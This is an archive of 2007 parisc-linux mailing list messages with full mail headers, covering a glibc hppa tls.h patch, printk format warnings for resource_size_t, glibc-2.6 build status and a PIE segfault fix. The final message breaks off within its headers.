Approved: news@gmane.org
Message-ID: <20070727183453.GL32467__25389.6479066045$1416624419$gmane$org@hall.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624419 24784 80.91.229.3 (22 Nov 2014 02:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-ports@sourceware.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Jul 2007 18:35:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 27 Jul 2007 20:35:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C9C517DCDE;
	Fri, 27 Jul 2007 12:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31491-09; Fri, 27 Jul 2007 12:35:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD7E67DCDF;
	Fri, 27 Jul 2007 12:35:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E96E7DCC5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 12:34:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31491-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 12:34:57 -0600 (MDT)
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by free.linux.hp.com (Postfix) with ESMTP id F252C7DCAC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Jul 2007 12:34:56 -0600 (MDT)
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@hall.aurel32.net>)
	id 1IEUeL-00007d-J6; Fri, 27 Jul 2007 20:34:53 +0200
Content-Disposition: inline
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: j1fIEg8PbXBsfrqHPTQ2+xAqLyUmZUj6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24735

The patch below is necessary to make the hppa glibc buildable in HEAD
and glibc-2_6-branch wrt recent changes that have been done in NPTL
code.


2007-07-27  Aurelien Jarno  <aurelien@aurel32.net>

	* sysdeps/hppa/nptl/tls.h (THREAD_GSCOPE_FLAG_UNUSED,
	THREAD_GSCOPE_FLAG_USED, THREAD_GSCOPE_FLAG_WAIT): Define.
	(THREAD_GSCOPE_RESET_FLAG, THREAD_GSCOPE_SET_FLAG,
	THREAD_GSCOPE_WAIT): Define.

--- ports/sysdeps/hppa/nptl/tls.h.orig	2007-07-27 08:17:35.000000000 -0600
+++ ports/sysdeps/hppa/nptl/tls.h	2007-07-27 08:18:39.000000000 -0600
@@ -147,6 +147,29 @@
 	: : "r" (cr27) : "r26" );
 }
 
+/* Get and set the global scope generation counter in struct pthread.  */
+#define THREAD_GSCOPE_FLAG_UNUSED 0
+#define THREAD_GSCOPE_FLAG_USED   1
+#define THREAD_GSCOPE_FLAG_WAIT   2
+#define THREAD_GSCOPE_RESET_FLAG() \
+  do									     \
+    { int __res								     \
+	= atomic_exchange_rel (&THREAD_SELF->header.gscope_flag,	     \
+			       THREAD_GSCOPE_FLAG_UNUSED);		     \
+      if (__res == THREAD_GSCOPE_FLAG_WAIT)				     \
+	lll_futex_wake (&THREAD_SELF->header.gscope_flag, 1);		     \
+    }									     \
+  while (0)
+#define THREAD_GSCOPE_SET_FLAG() \
+  do									     \
+    {									     \
+      THREAD_SELF->header.gscope_flag = THREAD_GSCOPE_FLAG_USED;	     \
+      atomic_write_barrier ();						     \
+    }									     \
+  while (0)
+#define THREAD_GSCOPE_WAIT() \
+  GL(dl_wait_lookup_done) ()
+
 #endif /* __ASSEMBLER__ */
 
 #endif	/* tls.h */

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; relay no interest?
Date: Sat, 28 Jul 2007 14:38:16 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <46AB54D8.3090204__17432.9393114478$1416624419$gmane$org@scarlet.be>
References: <46A34724.1090108@scarlet.be> <200707232238.11288.deller@gmx.de> <200707232250.38148.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624419 24787 80.91.229.3 (22 Nov 2014 02:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2007 14:38:23 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx096) with SMTP; 28 Jul 2007 16:38:23 +0200
Original-Received: from (ip-213-49-85-30.dsl.scarlet.be [213.49.85.30]) 
	by guri.is.scarlet.be  with ESMTP id l6SEcL004453; 
	Sat, 28 Jul 2007 16:38:21 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.4 (X11/20070622)
In-Reply-To: <200707232250.38148.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kCHKIiFOa0ApbL6aejEzrzw3Njh6dM4J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24736

Hi Helge,

Helge Deller wrote:
> On Monday 23 July 2007, Helge Deller wrote:
>> Hi Joel,
>>
>> On Sunday 22 July 2007, Joel Soete wrote:
>>> There was <http://lists.parisc-linux.org/pipermail/parisc-linux/2007-June/031749.html>
>>>
>>> Really no interest, just missed or did I made a big mistake?
>> I don't like that patch very much.
>> It converts everything needlessly to (unsigned long long), which is 64bit long.
>>
>> Wouldn't it be better to use "%z" or "%z"<something> ?
>> %z refers to size_t which should be the native bit length.
> 
> Hi Joel,
> 
> e.g. replace "%lx" by "%Zx" or "%zx" ???
> (untested!!!)
> 
> Helge
> 
> 
I just do a short test again dino.c:

./drivers/parisc/dino.c
     898         if (request_resource(&ioport_resource, res) < 0) {
     899                 printk(KERN_ERR "%s: request I/O Port region failed "
     900                        "0x%Zx/%Zx (hpa 0x%p)\n",
     901                        name, res->start, res->end, dino_dev->hba.base_addr);
     902                 return 1;
     903         }

and unfortunately it doesn't help:
/CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function dino_bridge_init:
/CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx expects type long unsigned int, but argument 4 has type 
resource_size_t
/CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx expects type long unsigned int, but argument 5 has type 
resource_size_t

same warning either Z or z qualifier :_(

As far as I understand of headers' comments:
./lib/vsprintf.c:
     270         int qualifier;          /* 'h', 'l', or 'L' for integer fields */
     271                                 /* 'z' support added 23/7/1999 S.H.    */
     272                                 /* 'z' changed to 'Z' --davidm 1/25/99 */
     273                                 /* 't' added for ptrdiff_t */

(so Z or z are all acceptable)

     472                 } else if (qualifier == 'Z' || qualifier == 'z') {
     473                         num = va_arg(args, size_t);

and all for the same type size_t

while here
./include/linux/ioport.h

      17 struct resource {
      18         resource_size_t start;
      19         resource_size_t end;
      20         const char *name;
      21         unsigned long flags;
      22         struct resource *parent, *sibling, *child;
      23 };

start & end are of type resource_size_t and not size_t.

I suppose that's why somewhere else upstream:
<http://www.linuxhq.com/kernel/v2.6/18/kernel/resource.c>

(still the same in 2.6.22.1), though.

Tx,
	Joel



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; relay no interest?
Date: Sat, 28 Jul 2007 11:56:52 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200707281556.l6SFuqPT001566__8344.57201785899$1416624419$gmane$org@hiauly1.hia.nrc.ca>
References: <46AB54D8.3090204@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624419 24793 80.91.229.3 (22 Nov 2014 02:46:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:59 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2007 16:10:58 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx020) with SMTP; 28 Jul 2007 18:10:58 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6SGAukA001893;
	Sat, 28 Jul 2007 12:10:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6SFuqPT001566;
	Sat, 28 Jul 2007 11:56:52 -0400 (EDT)
In-Reply-To: <46AB54D8.3090204@scarlet.be> from "Joel Soete" at Jul 28, 2007 02:38:16 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9xvCKd1nMydzT4igZWplZx1raGRhZhqj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24737

> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function dino_bridge_init:
> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx expects type long unsigned int, but argument 4 has type 
> resource_size_t
> /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx expects type long unsigned int, but argument 5 has type 
> resource_size_t

Are you sure you changed line 821?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-2.6 status
Date: Sat, 28 Jul 2007 16:08:33 -0400
Organization: wh0rd.org
Lines: 55
Approved: news@gmane.org
Message-ID: <200707281608.33638.vapier__12727.068065624$1416624420$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0960127365=="
X-Trace: ger.gmane.org 1416624420 24796 80.91.229.3 (22 Nov 2014 02:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2007 20:07:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 28 Jul 2007 22:07:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB9E07DD07;
	Sat, 28 Jul 2007 14:06:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06999-04; Sat, 28 Jul 2007 14:06:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47FD37DD03;
	Sat, 28 Jul 2007 14:06:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 103AE7DD03
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 14:06:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06991-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 14:06:52 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 354B37DCF7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 14:06:52 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 17F9A64C4E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 20:06:51 +0000 (UTC)
User-Agent: KMail/1.9.7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0JOSc4tFeWU6YLeUfHVznRY5U3U4N89i
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24738

--===============0960127365==
Content-Type: multipart/signed; boundary="nextPart2447624.mT7jrqJ9mU";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart2447624.mT7jrqJ9mU
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

is it worth trying to make vanilla glibc-2.6 work ?  once i fixed elf/elf.h=
 to=20
have all of the new PARISC defines, it cross-compiled fine for me ... or is=
=20
there more patches needed for runtime ?
=2Dmike

--nextPart2447624.mT7jrqJ9mU
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.5 (GNU/Linux)

iQIVAwUARquiQUFjO5/oN/WBAQLe8A//fVNT+ZYqZTw3Pc9k8Q8inXwRnjRSZ6wN
99nbQQO6hLnC77SXVdDf01g8Ohklo3AVJt/NYr1EpjPDKChl9AY+I0FZWiwpFq37
K15Q5jA+JlgftutaaPUVKjMP+kNfTyrPFKn6zIT8xLx+Qimr13S4M9OGD8prLXz8
rfQ4U/P5joF8XQeoeSQxKU/rVzLc7POi6tWlrAFdxjBIBRV7aDp9OEFDiTVzoyMX
K/x7/ToNJb29VMBOapWHR85y66E66KlZYlf2GHpMoRDjcKrQ0OWaSePXZa9qQhKC
rh32wrzWuEI4HzLrVQcmqvvBjXabzFK4VbXQwn7E4dFvEdhltp4eGjjCG9Gfs5ZN
pCTe+GX1ows3a+DoFAfAcqrizRpuFGyGXKwyOGRlnpZyeFt1Gs5I+7DFI6xgZHxj
LeJSVzaPsS2qX1D79RRjmaFK6bOg5wuMfJbhQ9Mlh6DyReqXdEWQQrsnkehTmfrS
Nwh95W1EhtgbxVU81Kge2vr9H7SNl2v3uzZmp4GjVpTR/jYayyl+a9zcg7YdLZBD
O4PsJzCnPgLsYSWO4wuIOGiDEG4JpEwEtSjL9JALd2UWfpKEnMYwm9C4zwZQutHH
KlwmSr+wHG8kmaROZBjeAMkP8XxmCcHjsMglb3o37+MMVpATcYdU3jvSoP+yj7DN
VKB/u6JiBYI=
=/fak
-----END PGP SIGNATURE-----

--nextPart2447624.mT7jrqJ9mU--

--===============0960127365==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0960127365==--



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: aurel32 <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sat, 28 Jul 2007 23:08:15 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20070728210815.GA23727__12054.2538738393$1416624420$gmane$org@hall.aurel32.net>
References: <5b2e36650706110615g20d10f79ue2aa5b11b5fcb185@mail.gmail.com>
	<200707262113.l6QLD8ZB017056@hiauly1.hia.nrc.ca>
	<20070726213455.GE11851@hall.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624420 24798 80.91.229.3 (22 Nov 2014 02:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2007 21:08:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 28 Jul 2007 23:08:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 927DE7DCC4;
	Sat, 28 Jul 2007 15:08:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07282-05; Sat, 28 Jul 2007 15:08:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E9347DC9E;
	Sat, 28 Jul 2007 15:08:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E11B7DC9D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:08:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07282-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:08:22 -0600 (MDT)
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by free.linux.hp.com (Postfix) with ESMTP id A1AAB7DC98
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:08:21 -0600 (MDT)
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@hall.aurel32.net>)
	id 1IEtWJ-0006BR-J8; Sat, 28 Jul 2007 23:08:15 +0200
Content-Disposition: inline
In-Reply-To: <20070726213455.GE11851@hall.aurel32.net>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZIiecgNlRkkfWauPfGRqJepmdWkvKFOQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24739

On Thu, Jul 26, 2007 at 11:34:55PM +0200, aurel32 wrote:
> On Thu, Jul 26, 2007 at 05:13:07PM -0400, John David Anglin wrote:
> > > PIE's don't work on NPTL either, FWIW.
> > 
> > I did an apt-get upgrade today on one of my systems and noticed
> > that portmap is now segfaulting at the same spot as nscd (i.e.,
> > in _start).
> > 
> 
> portmap has been built against libc6-dev 2.5-9 while the PIE fixed
> appeared in libc6-dev 2.5-11...
> 
> So it need to be rebuilt.
> 

It should be fixed now (version 6.0-3).

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.6 status
Date: Sat, 28 Jul 2007 17:32:35 -0400
Organization: wh0rd.org
Lines: 78
Approved: news@gmane.org
Message-ID: <200707281732.36636.vapier__26299.7374324643$1416624420$gmane$org@gentoo.org>
References: <200707281608.33638.vapier@gentoo.org>
	<119aab440707281423s6f77803fi67015e6268d225bc@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0926245548=="
X-Trace: ger.gmane.org 1416624420 24801 80.91.229.3 (22 Nov 2014 02:47:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Jul 2007 21:31:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 28 Jul 2007 23:31:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 717E87DD07;
	Sat, 28 Jul 2007 15:31:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08000-02; Sat, 28 Jul 2007 15:31:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF4D97DD03;
	Sat, 28 Jul 2007 15:31:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB82C7DD03
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:30:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07774-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:30:55 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id DD2A17DCFB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Jul 2007 15:30:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 86578650E3;
	Sat, 28 Jul 2007 21:30:53 +0000 (UTC)
